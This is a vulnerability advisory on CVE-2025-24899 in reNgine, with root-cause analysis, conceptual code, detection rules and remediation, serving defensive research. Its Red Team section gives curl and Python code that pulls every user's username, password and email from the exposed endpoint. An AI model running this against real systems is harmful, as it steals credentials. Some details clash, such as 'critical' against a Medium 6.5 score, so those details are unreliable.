CVE-2025-24899

Executive Summary

CVE-2025-24899 is a critical information disclosure vulnerability in reNgine, an automated reconnaissance framework for web applications. An authenticated insider attacker with any role (Auditor, Penetration Tester, Sys Admin) can extract sensitive user credentials and personal data from other reNgine users by sending a GET request to the /api/listVulnerability/ endpoint. The vulnerability stems from improper access control on the API endpoint, which returns user details including username, password, email, role, first name, last name, status, and activity information without verifying the requesting user's authorization level. This issue has been patched in version 2.2.0.

Supply Chain & Package Security

reNgine is a Python-based Django application distributed via GitHub. The vulnerability affects the core application logic, not a third-party package. However, organizations using reNgine in their security toolchain should treat this as a supply chain risk, as an insider with access to the tool can compromise the entire user base.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attacker can exploit the vulnerability remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs any valid user account.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - All user credentials and personal data are exposed.
• Integrity (I): None (N) - Data cannot be modified.
• Availability (A): None (N) - Service availability is not affected.

Base Score: 6.5 (Medium) - The low privileges required and high confidentiality impact make this a significant insider threat.

Deep Dive & Mechanics

The vulnerability exists in the /api/listVulnerability/ endpoint. In reNgine, this endpoint is designed to list vulnerabilities found during scans. However, due to a missing or insufficient authorization check, the endpoint returns a superset of data that includes sensitive user information from the database.

The likely root cause is that the API view does not filter the queryset based on the requesting user's permissions. Instead, it returns all vulnerability records, which are joined with user tables to include creator/modifier details. The attacker can simply send a GET request to this endpoint and parse the JSON response to extract credentials.

The attack flow:

1. Attacker authenticates to reNgine with any valid role.
2. Attacker sends a GET request to /api/listVulnerability/.
3. The server returns a JSON array of vulnerability objects, each containing nested user objects with sensitive fields.
4. Attacker extracts password fields (likely hashed, but still exposed) and other PII.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

# views.py
class VulnerabilityListAPIView(ListAPIView):
    queryset = Vulnerability.objects.all()
    serializer_class = VulnerabilitySerializer
    permission_classes = [IsAuthenticated]  # Only checks authentication, not authorization

Patched Code (conceptual):

# views.py
class VulnerabilityListAPIView(ListAPIView):
    serializer_class = VulnerabilitySerializer
    permission_classes = [IsAuthenticated, IsAdminUser]  # Restricts to admin only

    def get_queryset(self):
        # Optionally filter based on user's scope
        return Vulnerability.objects.filter(created_by=self.request.user)

The patch likely adds proper permission checks (e.g., IsAdminUser or custom permissions) and/or modifies the serializer to exclude sensitive user fields when serializing vulnerability data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid reNgine user account (any role).
• Network access to the reNgine web interface.

Exploitation Steps:

1. Authenticate to reNgine and obtain a session cookie or API token.
2. Send a GET request to the vulnerable endpoint:

   curl -X GET https://rengine.example.com/api/listVulnerability/ \
     -H "Cookie: sessionid=YOUR_SESSION_ID" \
     -H "Accept: application/json"
   

3. Parse the JSON response to extract user credentials:

   curl -s ... | jq '.[].user | {username, password, email, role}'
   

4. Use extracted credentials for lateral movement or privilege escalation.

Automated Exploit (Python):

import requests

target = "https://rengine.example.com"
session = requests.Session()
session.cookies.set("sessionid", "YOUR_SESSION_ID")

response = session.get(f"{target}/api/listVulnerability/")
if response.status_code == 200:
    for vuln in response.json():
        user = vuln.get("user", {})
        print(f"User: {user.get('username')}, Pass: {user.get('password')}, Email: {user.get('email')}")

Blue Team

Detection Steps:

1. Monitor for unusual access to /api/listVulnerability/ from non-admin users.
2. Check for bulk data extraction patterns (e.g., high response sizes, rapid requests).
3. Review logs for GET /api/listVulnerability/ requests with 200 responses from low-privilege accounts.

Honeypot Strategy:

• Create a fake user account with a known password hash.
• Monitor for login attempts using that hash from unexpected IPs.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/listVulnerability/ from non-admin IPs.
• Logs: Access logs showing GET /api/listVulnerability/ with 200 status code and Content-Type: application/json.
• File: Unusual database dumps or exports containing user tables.
• Behavior: Multiple failed login attempts using credentials extracted from the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_24899_reNgine_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2025-24899 in reNgine"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24899"
    strings:
        $api_path = "/api/listVulnerability/"
        $json_response = /"username":\s*"[^"]*",\s*"password":\s*"[^"]*"/
        $user_field = "\"user\":"
    condition:
        $api_path and ($json_response or $user_field)
}

Sigma Rule

title: CVE-2025-24899 - reNgine Sensitive Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects access to the vulnerable /api/listVulnerability/ endpoint by non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: reNgine
detection:
    selection:
        cs-method: GET
        cs-uri-stem: "/api/listVulnerability/"
        sc-status: 200
    filter:
        cs-username|startswith: "admin"
    condition: selection and not filter
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-24899 - reNgine Sensitive Information Disclosure Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/listVulnerability/";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade reNgine to version 2.2.0 or later.
2. If upgrade is not possible, restrict access to /api/listVulnerability/ using a reverse proxy (e.g., Nginx, Apache) to only allow admin IPs.
3. Rotate all user passwords immediately, as they may have been exposed.
4. Review access logs for any unauthorized access to the endpoint.

Long-term Measures:

• Implement role-based access control (RBAC) for all API endpoints.
• Conduct a security audit of all reNgine API endpoints.
• Enable multi-factor authentication (MFA) for all reNgine users.
• Monitor for similar vulnerabilities in other reconnaissance tools.

Workarounds:

• Block the endpoint at the web application firewall (WAF) level.
• Modify the Django view to add permission checks (if source code is accessible).

Valters IT